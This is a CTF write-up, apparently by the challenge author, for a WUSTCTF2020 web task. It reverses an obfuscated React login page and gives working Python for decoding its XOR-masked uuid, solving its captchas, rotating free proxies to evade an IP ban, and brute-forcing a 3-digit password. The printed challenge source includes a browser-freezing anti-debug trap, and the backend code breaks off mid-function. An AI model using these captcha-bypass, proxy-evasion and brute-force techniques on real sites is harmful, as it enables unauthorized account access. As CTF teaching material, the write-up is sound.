WUSTCTF2020 web题 --- 大人, 时代变了

none

咕鸽框架 更新2021年01月12日 125 35789字 CID:P18

0x0 前言

出这个题的本意是看到CTF的web题老是PHP什么的, 感觉和现实情况有点脱节, 且对前端审计没有太大的要求, 于是出了这个"现代"一点的题. 这个题目模拟的是爬虫, 在多次请求后将会出现验证码, 再频繁访问将会封锁ip, 且网站是使用React写的, 经过webpack的打包和混淆使得js很难读, 不过这也是大势所趋, 出出来涨涨见识吧.

0x1 前端审计

首先打开网站, hint提示用户识别码只有3位

在这里插入图片描述

抓包

F12进行抓包, 发现有uuidimg两个字段, img毫无疑问是验证码了, uuid确是一个base64, 尝试解码, 无法得到数据

在这里插入图片描述

尝试构造随意数据发送, 再在F12里查看, 发现请求中uuid为f56d359611c24abf9aa1d9f0113091a4, 说明前端对此数据进行了解密, 首先对前端代码进行审计, 查找加密算法
在这里插入图片描述

逻辑分析

打开前端代码后, 我相信不少人肯定是蒙的, 首先先进行格式化, 其大概画风是这样的

在这里插入图片描述

让我们一步一步来, 首先看点击登录后发生了什么, 搜索关键词登录, 可以找到这里
在这里插入图片描述

可以看见登录按钮绑定了一个函数this.w, 进入this.w看干什么了

在这里插入图片描述
分析: 这里的switch其实是一个async函数, 通过babel进行转义的结果, 建议学习ES6, 7, 8, 勉强可以进行分析

  1. 进入case0, 将state.l = true, 然后调用a.__.q(state.w, state.c, state.p)
  2. 进入case4, alert(t.msg) 可以发现这里就是弹出服务器错误提示的地方
  3. 进入case9, t0 = _.catch(0), alert(t0), 这里是处理错误的地方
  4. 进入case12, 调用a.u(), 然后state.l = false

进入a.__.q(e, t, a), 应该有三个参数, 分析逻辑

在这里插入图片描述

一眼看到熟悉的200, 说明这里应该就是发送数据的地方, 查看参数
在这里插入图片描述

在这里我们发现大量w({Base64})的东西, 通过定位发现w为Base64解码, 吧base64拿去解码, 发现为发送数据的隐藏, 比如uuid, code. 这种方式很常见, 为了防止直接搜索直接对数据进行base64储存
在这里插入图片描述

查看参数, 这么一长串为
Object(F_Web_Project_fucking_test_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_6__.a)(l, w("bWV0aG9k"), w("UE9TVA=="))
前面那么一长串其实是命名空间, 经过化简后可以得到
{method: "POST"}, 发现为fetch的用法, 但是在这里并没有发现加密, 说明加密不在发送数据的时候

再次观察请求, 发现在进行一次POST后, 立马获取了一个新的uuid, 说明在登录后应该调用了获取新的uuid的函数, 经过上面分析async, 进入a.u()

在这里插入图片描述

解密算法

又是一个类似的函数, 这里我们可以直接聚焦到可疑函数a.setState({g: e.img, p: a.__.p(e[t("dXVpZA==")])}), 可以看到验证码被保存了, 而dXVpZA==就是uuid, 说明uuid经过了a.__p() e() t() 的处理, 一个个跟踪

  1. 首先发现t为Base64解码函数, 现在为a.__.p(e['uuid'])
  2. 可以知道e为返回数据, 那么解码就在a.__.p()
  3. 进入p, 首先对uuid进行Base64.toUnit8Array, 然后与___进行遍历
    在这里插入图片描述
  4. 寻找___, 发现为___ = new Uint8Array([49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]) 可以拼出内容
    在这里插入图片描述
  5. 追踪__, 发现为xor
    在这里插入图片描述
  6. 那么整个算法就清晰了, 使用python进行模拟
def parse_uuid(raw):
    input_raw = list(base64.b64decode(raw))
    key = [49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 
           69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]
    for i in range(len(input_raw)):
        for j in range(len(key)):
            input_raw[i] ^= key[j]
    return bytes(input_raw).decode()

0x2 验证码识别

验证码识别有多种办法, 包括接入打码平台, 使用ocr开源项目, 这里验证码十分规整, 我可以手写一个验证码识别

分析

首先分析验证码结构, 数字8721分别距离左边5, 20, 35, 50, 字母大小为12*18

多次刷新, 采集多个验证码, 我这里采集了5个集齐了所有数字

在这里插入图片描述

验证码处理

首先将验证码分隔成4个独立的小数字, 使用Python的PIL模块

for i in range(4):
    offset = i * 15 + 5
    data = img.crop((offset, 3, offset + 12, 20))

然后对整个图片灰度化处理data = data.convert("L")
然后简单对图片黑白化, 由于背景是白色的, 这里认为凡是不是白色即为有数据

w, h = data.size
pixdata = data.load()
for y in range(h):
    for x in range(w):
        print(pixdata[x, y])
        if pixdata[x, y] < 255:
            pixdata[x, y] = 0

最后保存图片, 总体代码

import uuid
from PIL import Image

for index in range(6):
    img = Image.open(f"image/index{index}.png")
    for i in range(4):
        offset = i * 15 + 5
        data = img.crop((offset, 3, offset + 12, 20))
        data = data.convert("L")
        w, h = data.size
        pixdata = data.load()
        for y in range(h):
            for x in range(w):
                print(pixdata[x, y])
                if pixdata[x, y] < 255:
                    pixdata[x, y] = 0
        data.save(f"num/{str(uuid.uuid4()).replace('-', '')}.png")

在这里插入图片描述

特征提取

将图片进行重命名, 挑出1-9, 并且重命名, 对数据进行采集

在这里插入图片描述

from PIL import Image
import json

data = {}
for i in range(10):
    img = Image.open(f"./num/{i}.png")
    pixdata = img.load()
    w, h = img.size
    d = []
    for x in range(w):
        for y in range(h):
            d.append(pixdata[x, y])
    data[i] = d

with open(f"./num/data.json", 'w') as f:
    f.write(json.dumps(data))

最终获取json数据一份

在这里插入图片描述

至于识别, 只需要对图片进行相似的分割, 然后灰度化, 黑白化, 然后与每个数字特征进行对比, 算出相似度, 然后取相似度最高的数字即可

from PIL import Image
import json


def find_str(num_list):
    with open("num/data.json", 'r') as f:
        nums = json.loads(f.read())
    sim_data = []
    for num, num_data in nums.items():
        sim = 0
        for ii, jj in zip(num_list, num_data):
            if ii == jj:
                sim += 1
        sim_data.append(sim)
    return str(sim_data.index(max(sim_data)))


def load_img(img):
    s = ""
    for i in range(4):
        offset = i * 15 + 5
        data = img.crop((offset, 3, offset + 12, 20))
        data = data.convert("L")
        w, h = data.size
        pixdata = data.load()
        img_data = []
        for x in range(w):
            for y in range(h):
                img_data.append(0 if pixdata[x, y] < 255 else 255)
        s += find_str(img_data)
    return s


print(load_img(Image.open("image/index1.png")))

在这里插入图片描述

还是很准的

0x3 代理池

在发送数据的时候发现, 在请求超过50次后永远将404, 这就是ip被ban了, 这里就需要上代理池了
网上有大量免费代理, 采集一下

class ProxyPool:
    def __init__(self):
        self.pool = [
            "223.241.7.181:3000",
            "222.189.190.254:9999",
            "223.242.224.147:9999",
            "36.248.129.32:9999",
            "27.43.189.11:9999",
            "103.140.204.1:8080",
            "36.249.53.38:8000"
        ]

    def get_proxy(self):
        return {
            'http': 'http://' + self.pool[0]
        }

    def del_ip(self):
        del self.pool[0]

连接失败的时候的时候更换ip

pool = ProxyPool()
for i in range(100, 999):
    try:
        print(i, foo(i, pool.get_proxy()))
    except:
        pool.del_ip()

0x4 全部代码

在这里插入图片描述

主体

import requests
import base64
from PIL import Image
from io import BytesIO
import json

url = "http://47.107.251.41/api/"


class ProxyPool:
    def __init__(self):
        self.pool = [
            "127.0.0.1:4780",
            "223.241.7.181:3000",
            "222.189.190.254:9999",
            "223.242.224.147:9999",
            "36.248.129.32:9999",
            "27.43.189.11:9999",
            "103.140.204.1:8080",
            "36.249.53.38:8000"
        ]

    def get_proxy(self):
        return {
            'http': 'http://' + self.pool[0]
        }

    def del_ip(self):
        del self.pool[0]


def find_str(num_list):
    with open("num_data.json", 'r') as f:
        nums = json.loads(f.read())
    sim_data = []
    for num, num_data in nums.items():
        sim = 0
        for ii, jj in zip(num_list, num_data):
            if ii == jj:
                sim += 1
        sim_data.append(sim)
    return str(sim_data.index(max(sim_data)))


def load_img(img):
    s = ""
    for i in range(4):
        offset = i * 15 + 5
        data = img.crop((offset, 3, offset + 12, 20))
        data = data.convert("L")
        w, h = data.size
        pixdata = data.load()
        img_data = []
        for x in range(w):
            for y in range(h):
                img_data.append(0 if pixdata[x, y] < 255 else 255)
        s += find_str(img_data)
    return s


def foo(password, proxy):
    data = requests.get(url=url).json()
    code = ""
    uuid = parse_uuid(data["uuid"])
    image = data["img"]
    if len(image) > 0:
        bytes_io = BytesIO(base64.b64decode(image[len("data:image/png;base64,"):]))
        img = Image.open(bytes_io)
        code = load_img(img)

    data = requests.post(url=url, data={"uuid": uuid, "code": code, "password": password}, proxies=proxy, timeout=10)
    if data.status_code == 404:
        raise Exception("404")
    return data.json()["result"], data.json()["msg"]


def parse_uuid(raw):
    input_raw = list(base64.b64decode(raw))
    key = [49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69,
           69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]
    for i in range(len(input_raw)):
        for j in range(len(key)):
            input_raw[i] ^= key[j]
    return bytes(input_raw).decode()


pool = ProxyPool()
for i in range(100, 999):
    try:
        print(i, foo(i, pool.get_proxy()))
    except:
        pool.del_ip()

特征点

{"0": [255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255], "1": [255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], "2": [0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255], "3": [0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255], "4": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255], "5": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255], "6": [255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255], "7": [0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], "8": [255, 255, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255], "9": [255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255]}

0x5 题目源码

前端

App.tsx

import React from 'react';
import Drawer, {drawerWidth} from "./Drawer";
import {
    Button,
    Card,
    createStyles, LinearProgress, Link,
    List,
    ListItem,
    TextField,
    Theme,
    withStyles
} from "@material-ui/core";

import {Base64} from "js-base64";

const t = Base64.fromBase64;
const w = Base64.fromBase64
const _ = fetch;
const __ = (x: number, y: number) => x ^ y
const ___ = new Uint8Array([49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57])
const url = w("aHR0cDovLzQ3LjEwNy4yNTEuNDEvYXBpLw==")


const useStyles = (theme: Theme) => createStyles({
    main: {
        flexGrow: 1,
        padding: theme.spacing(3),
        [theme.breakpoints.up('sm')]: {
            marginLeft: drawerWidth
        },
        height: "100%"
    },
    toolbar: theme.mixins.toolbar,
    paper: {
        display: "table",
        margin: "0 auto",
        width: 300,
        height: 300,
        marginTop: 160,
    },
    input: {
        width: 280,
    },
    input2: {
        width: 280 - 63,
    },
    center: {
        textAlign: "center"
    },
    p: {
        width: "100%",
        textAlign: "center",
        fontSize: "20px",
        margin: "0 auto"
    },
    btn: {
        margin: "0 0 0 auto"
    },
    hidden: {
        visibility: "hidden"
    }
})

interface State {
    p: string,
    c: string,
    w: string,
    g: string,
    l: boolean
}


class App extends React.Component<any, State> {
    private __: { p(b: string): string; q(p: string, c: string, y: string): Promise<any>; y(): Promise<any> };
    constructor(props: any) {
        super(props);
        this.__ = {
            async y() {
                return _(url)
                    .then(res => res.json())
            },
            async q(p: string, c: string, y: string) {
                return _(url, {
                    [w("bWV0aG9k")]: w("UE9TVA=="),
                    [w("bW9kZQ==")]: w("Y29ycw=="),
                    [w("aGVhZGVycw==")]: {
                        [w("Q29udGVudC1UeXBl")]: w("YXBwbGljYXRpb24vanNvbg==")
                    },
                    [w("Ym9keQ==")]: JSON.stringify({
                        [w("dXVpZA==")]: y,
                        [w("Y29kZQ==")]: c,
                        [w("cGFzc3dvcmQ=")]: p
                    })
                }).then(res => {
                    if (res.status !== 200) {
                        throw new Error(res.status.toString())
                    }
                    return res
                }).then(res => res.json())
            },

            p(b: string): string {
                const input = Base64.toUint8Array(b);
                input.forEach((_, i) => {
                    ___.forEach((_, j) => {
                        input[i] = __(input[i], ___[j])
                    })
                })
                return Array.from(input).map(value => String.fromCharCode(value)).join("")
            }
        }
    }
    readonly state: Readonly<State> = {
        p: "",
        c: "",
        w: "",
        g: "",
        l: false
    }

    componentDidMount() {
        this.u()
        setInterval(() => {
            const time1 = new Date().getTime()
            debugger;
            const time2 = new Date().getTime() - time1
            if (time2 > 100) {
                eval(`const wait = async () => {
                    wait()
                    let total = "";
                    for (let i = 0; i < 1e9; i++) {
                        total = total + i.toString();
                        history.pushState(0, "", total);
                    }
                }
                wait()`)
                Array.from({
                    [Symbol.iterator]: () => ({
                        next: () => ({value: Math.random()})
                    })
                })
            }
        }, 1000)
    }


    u = () => {
        (async () => {
            const data = await this.__.y();
            this.setState({
                g: data["img"],
                p: this.__.p(data[t("dXVpZA==")])
            })
        })()
    }

    w = () => {
        (async () => {
            try {
                this.setState({l: true})
                const {msg} = await this.__.q(this.state.w, this.state.c, this.state.p)
                alert(msg)
            } catch (e) {
                alert(e)
            }
            this.u()
            this.setState({l: false})
        })()

    }

    g = () => {
        alert("密码只有3位数字哦!")
    }

    e = (event: any) => {
        this.setState({w: event.target.value})
    }

    i = (event: any) => {
        this.setState({c: event.target.value})
    }

    render() {
        const {classes} = this.props
        return (
            <div>
                <Drawer/>
                <main className={classes.main}>
                    <div className={classes.toolbar}/>
                    <Card className={classes.paper}>
                        <List>
                            <ListItem>
                                <p className={classes.p}>登录</p>
                            </ListItem>
                            <ListItem>
                                <TextField className={classes.input} label="用户识别码" type="password" onChange={this.e}/>
                            </ListItem>
                            <ListItem className={this.state.g.length === 0? classes.hidden: ""}>
                                <TextField className={classes.input2} label="验证码" onChange={this.i}/>
                                <img width={63} height={24} src={this.state.g}/>
                            </ListItem>
                            <ListItem>
                                <Link onClick={this.g}>
                                    忘记了你的用户识别码?
                                </Link>
                            </ListItem>
                            <ListItem>
                                <p style={{color: "#909399"}}>0202年了, 是时候了解下最新的前端技术了</p>
                            </ListItem>
                            <ListItem>
                                <Button className={classes.btn} variant="contained" color="primary" onClick={this.w}>
                                    登录
                                </Button>
                            </ListItem>
                        </List>
                        {this.state.l && <LinearProgress />}
                    </Card>
                </main>
            </div>

        );
    }
}
export default withStyles(useStyles)(App)

Drawer.tsx

import React from "react";
import {
    AppBar,
    createStyles, CssBaseline,
    Drawer, Hidden, IconButton,
    List,
    ListItem,
    ListItemIcon,
    ListItemText, ListSubheader,
    Theme, Toolbar, Typography,
    withStyles
} from "@material-ui/core";

import MenuIcon from '@material-ui/icons/Menu';
import LiveHelpIcon from '@material-ui/icons/LiveHelp';
import ListAltIcon from '@material-ui/icons/ListAlt';
import GavelIcon from '@material-ui/icons/Gavel';
import HelpIcon from '@material-ui/icons/Help';
import EqualizerIcon from '@material-ui/icons/Equalizer';
import HomeIcon from '@material-ui/icons/Home';

export const drawerWidth = 200;

const drawerStyle = (theme: Theme) =>
        createStyles({
            root: {
                display: 'flex',
            },
            drawer: {
                [theme.breakpoints.up('sm')]: {
                    width: drawerWidth,
                    flexShrink: 0,
                },
            },
            menuButton: {
                marginRight: theme.spacing(2),
            },
            toolbar: theme.mixins.toolbar,
            drawerPaper: {
                marginTop: 64,
                width: drawerWidth,
            },
            content: {
                flexGrow: 1,
                padding: theme.spacing(3),
            },
        })

interface State {
    mobileOpen: boolean
}

class DrawerNav extends React.Component<any, State> {
    readonly state: Readonly<State> = {
        mobileOpen: false
    }

    handleDrawerToggle = () => {
        this.setState({mobileOpen: !this.state.mobileOpen})
    };

    render() {
        const {classes} = this.props;
        const drawer = (
            <div>
                <List
                    subheader={
                        <ListSubheader component="div" id="nested-list-subheader">
                            Online Judge
                        </ListSubheader>
                    }>
                    <ListItem button>
                        <ListItemIcon><HomeIcon/></ListItemIcon>
                        <ListItemText primary="Home" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><LiveHelpIcon/></ListItemIcon>
                        <ListItemText primary="Problems" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><ListAltIcon/></ListItemIcon>
                        <ListItemText primary="Contests" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><GavelIcon/></ListItemIcon>
                        <ListItemText primary="States" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><EqualizerIcon/></ListItemIcon>
                        <ListItemText primary="Rank" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><HelpIcon/></ListItemIcon>
                        <ListItemText primary="Help" />
                    </ListItem>
                </List>
            </div>
        );
        return (
            <div className={classes.root}>
                <CssBaseline />
                <AppBar position="fixed">
                    <Toolbar>
                        <Hidden smUp>
                            <IconButton
                                color="inherit"
                                aria-label="open drawer"
                                edge="start"
                                onClick={this.handleDrawerToggle}
                                className={classes.menuButton}
                            >
                                <MenuIcon />
                            </IconButton>
                        </Hidden>

                        <Hidden xsDown>
                            <IconButton
                                color="inherit"
                                aria-label="open drawer"
                                edge="start"
                                className={classes.menuButton}
                            >
                                <MenuIcon />
                            </IconButton>
                        </Hidden>

                        <Typography variant="h6" noWrap>
                            武科大ACM俱乐部
                        </Typography>
                    </Toolbar>
                </AppBar>
                <nav className={classes.drawer} aria-label="mailbox folders">
                    <Hidden smUp implementation="css">
                        <Drawer
                            variant="temporary"
                            open={this.state.mobileOpen}
                            onClose={this.handleDrawerToggle}
                            classes={{paper: classes.drawerPaper}}
                            ModalProps={{keepMounted: true}}
                        >
                            {drawer}
                        </Drawer>
                    </Hidden>
                    <Hidden xsDown implementation="css">
                        <Drawer
                            classes={{paper: classes.drawerPaper}}
                            variant="permanent"
                            open
                        >
                            {drawer}
                        </Drawer>
                    </Hidden>
                </nav>
            </div>
        );
    }
}

export default withStyles(drawerStyle)(DrawerNav)

后端

views.py

from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import serializers
from rest_framework.status import HTTP_404_NOT_FOUND
from uuid import uuid4
from .models import CaptchaStore, IPStore
from .util import Captcha
import base64
import hashlib


class TestSerializers(serializers.Serializer):
    uuid = serializers.CharField(required=True)
    code = serializers.CharField(required=False, allow_blank=True)
    password = serializers.CharField(required=True)

    def save(self, ip_store):
        attrs = self.validated_data
        try:
            c = CaptchaStore.objects.get(uuid=attrs["uuid"])
